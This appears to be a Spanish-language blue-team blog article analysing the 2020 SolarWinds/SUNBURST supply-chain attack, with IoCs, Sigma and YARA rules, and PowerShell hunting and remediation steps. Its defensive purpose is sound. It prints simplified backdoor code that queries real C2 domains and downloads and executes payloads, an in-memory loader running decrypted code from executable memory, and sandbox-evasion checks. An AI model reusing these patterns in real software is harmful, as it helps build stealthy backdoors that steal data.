SolarWinds / SUNBURST (2020): El supply chain hack del siglo
Cómo APT29 (Rusia) comprometió 18,000 organizaciones mediante una actualización de software legítima.
•Blue Team•5 min de lectura
Compartir:
Cómo APT29 (Rusia) comprometió 18,000 organizaciones mediante una actualización de software legítima.
Atacantes infiltran red de SolarWinds ↓ Acceso a servidores de build de Orion ↓ Inyectan código malicioso en SolarWinds.Orion.Core.BusinessLayer.dll ↓ DLL maliciosa firmada con certificado legítimo ↓ Actualización distribuida a 18,000 clientes ### Fase 2: El backdoor SUNBURST Código simplificado del implant: csharp // SUNBURST DLL maliciosa public class OrionImprovementBusinessLayer { public static void Initialize() { // Dormir 12-14 días para evadir sandboxes Thread.Sleep(GetRandomDelay()); // Verificar dominio de la máquina if (IsTargetEnvironment()) { // Comunicarse con C2 vía DNS string c2Domain = GenerateDGADomain(); var data = DNSQuery(c2Domain + ".avsvmcloud.com"); // Descargar payload adicional DownloadAndExecute(data); } } private static string GenerateDGADomain() { // Generar subdominio usando hash de MAC + dominio var uniqueId = GetMachineGuid(); return EncodeBase36(uniqueId); } } ### Fase 3: Command & Control vía DNS Técnica de exfiltración: Máquina comprometida ↓ Query DNS: [machine-id].appsync-api.eu-west-1.avsvmcloud.com ↓ C2 responde con CNAME apuntando a: ↓ - deftsecurity.com (comandos) - panhardware.com (exfiltración) Dominios C2 (algunos): avsvmcloud.com freescanonline.com deftsecurity.com thedoccloud.com virtualwebdata.com ### Fase 4: TEARDROP y RAINDROP Después de SUNBURST, los atacantes desplegaron implants adicionales: TEARDROP (memory-only dropper): csharp // Loader que ejecuta payload directamente en memoria public class MemoryLoader { public static void Load(byte[] encryptedPayload) { // Decrypt con custom XOR var decrypted = CustomDecrypt(encryptedPayload); // Alocar memoria ejecutable var execMem = VirtualAlloc(decrypted.Length, PAGE_EXECUTE_READWRITE); // Copiar y ejecutar Marshal.Copy(decrypted, 0, execMem, decrypted.Length); var func = Marshal.GetDelegateForFunctionPointer(execMem); func(); } } ## Técnicas de evasión ### 1. Anti-análisis csharp // Verificar si está en ambiente de análisis private static bool IsTargetEnvironment() { // Lista de dominios a evitar var blockedDomains = new[] { "test.local", "lab.local", "sandbox.local" }; var currentDomain = GetDomainName(); if (blockedDomains.Contains(currentDomain)) return false; // Verificar procesos de análisis var analysisTools = new[] { "wireshark", "fiddler", "procmon" }; return !ProcessExists(analysisTools); } ### 2. Dormancy period - 12-14 días de inactividad inicial - Evita detección en sandboxes de análisis automático ### 3. Uso de DNS legítimo - No requiere conexiones HTTP/HTTPS directas - Pasa desapercibido en firewalls ## Detección ### Indicators of Compromise (IoCs) Hash de DLL comprometida: MD5: b91ce2fa41029f6955bff20079468448 SHA256: 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 Archivo: SolarWinds.Orion.Core.BusinessLayer.dll Versión comprometida: 2019.4 HF 5, 2020.2 RC 1, 2020.2 RC 2 Dominios C2: avsvmcloud[.]com freescanonline[.]com deftsecurity[.]com thedoccloud[.]com ### Regla Sigma para detección yaml title: SUNBURST DNS Beaconing id: 4b9ae05e-2b90-4930-8b3f-4c7d3e5a5c3e status: stable description: Detecta queries DNS a dominios asociados con SUNBURST author: Blue Team date: 2020/12/13 logsource: category: dns product: windows detection: selection: query|contains: - 'avsvmcloud.com' - 'freescanonline.com' - 'deftsecurity.com' - 'thedoccloud.com' - 'websitetheme.com' - 'highdatabase.com' - 'virtualwebdata.com' condition: selection falsepositives: - None expected level: critical tags: - attack.command_and_control - attack.t1071.004 ### Yara rule para DLL comprometida yara rule SUNBURST_DLL { meta: description = "Detects SUNBURST backdoored SolarWinds DLL" author = "FireEye" reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html" strings: $s1 = "ReportWatcher" ascii wide $s2 = "OrionImprovementBusinessLayer" ascii wide $s3 = "avsvmcloud.com" ascii wide $s4 = "ProcessTracker" ascii wide condition: (uint16(0) == 0x5A4D) and all of ($s*) } ### Hunting con PowerShell powershell # Verificar versión de SolarWinds Orion instalada Get-ChildItem -Path "C:\Program Files (x86)\SolarWinds" -Recurse -Filter "SolarWinds.Orion.Core.BusinessLayer.dll" | ForEach-Object { $hash = (Get-FileHash $_.FullName -Algorithm SHA256).Hash [PSCustomObject]@{ Path = $_.FullName Version = $_.VersionInfo.FileVersion SHA256 = $hash Compromised = ($hash -eq "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77") } } # Buscar queries DNS sospechosas en logs Get-WinEvent -LogName "Microsoft-Windows-DNS-Client/Operational" | Where-Object { $_.Message -match "avsvmcloud|freescanonline|deftsecurity" } ## Impacto y consecuencias ### Organizaciones afectadas - Microsoft: Acceso a código fuente de productos - FireEye: Robo de Red Team tools - US Government: Treasury, State, Homeland Security, DoE - Fortune 500: Cisco, Intel, Nvidia, VMware ### Datos comprometidos - Correos electrónicos gubernamentales - Código fuente de productos Microsoft - Herramientas de Red Team de FireEye - Datos de clientes de múltiples organizaciones ### Respuesta Timeline: Marzo 2020: Compromiso inicial de SolarWinds Octubre 2020: Última versión comprometida distribuida 8 Dic 2020: FireEye anuncia compromiso de Red Team tools 13 Dic 2020: SolarWinds confirma supply chain attack 14 Dic 2020: Microsoft publica análisis de SUNBURST ## Lecciones críticas 1. Supply chain es el vector más peligroso - Software legítimo firmado es confiado implícitamente - Necesidad de Zero Trust incluso para vendors 2. Monitoring de build pipelines - Integridad del código fuente - Auditoría de procesos de compilación - Code signing certificate management 3. DNS como vector C2 - Monitoreo de DNS queries inusuales - Threat intelligence feeds para dominios 4. Dormancy detection - Análisis de comportamiento a largo plazo - No confiar solo en sandboxes de corta duración 5. Privileged access management - MFA obligatorio para administradores - Segmentación de acceso ## Remediación ### Pasos inmediatos powershell # 1. Identificar instalaciones de Orion Get-WmiObject -Class Win32_Product | Where-Object { $_.Name -like "*SolarWinds*" } # 2. Aislar servidores comprometidos Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Block # 3. Recoger evidencia $outputPath = "C:\IR\SolarWinds" New-Item -ItemType Directory -Path $outputPath -Force # Memory dump procdump64.exe -ma -accepteula SolarWinds.BusinessLayerHost.exe $outputPath\memdump.dmp # Network connections Get-NetTCPConnection | Export-Csv $outputPath\connections.csv # DNS cache ipconfig /displaydns > $outputPath\dns_cache.txt ### Actualización 1. Desinstalar versiones comprometidas (2019.4 HF 5 - 2020.2.1 HF 1) 2. Instalar versión limpia (2020.2.1 HF 2 o superior) 3. Rotar credenciales 4. Revisar logs de 9 meses anteriores --- ## Referencias - FireEye: SUNBURST Analysis - Microsoft: Deep dive into SUNBURST - CISA: Emergency Directive 21-01 --- #SolarWinds #SUNBURST #APT29 #SupplyChain #BlueTeam #IR #ThreatIntel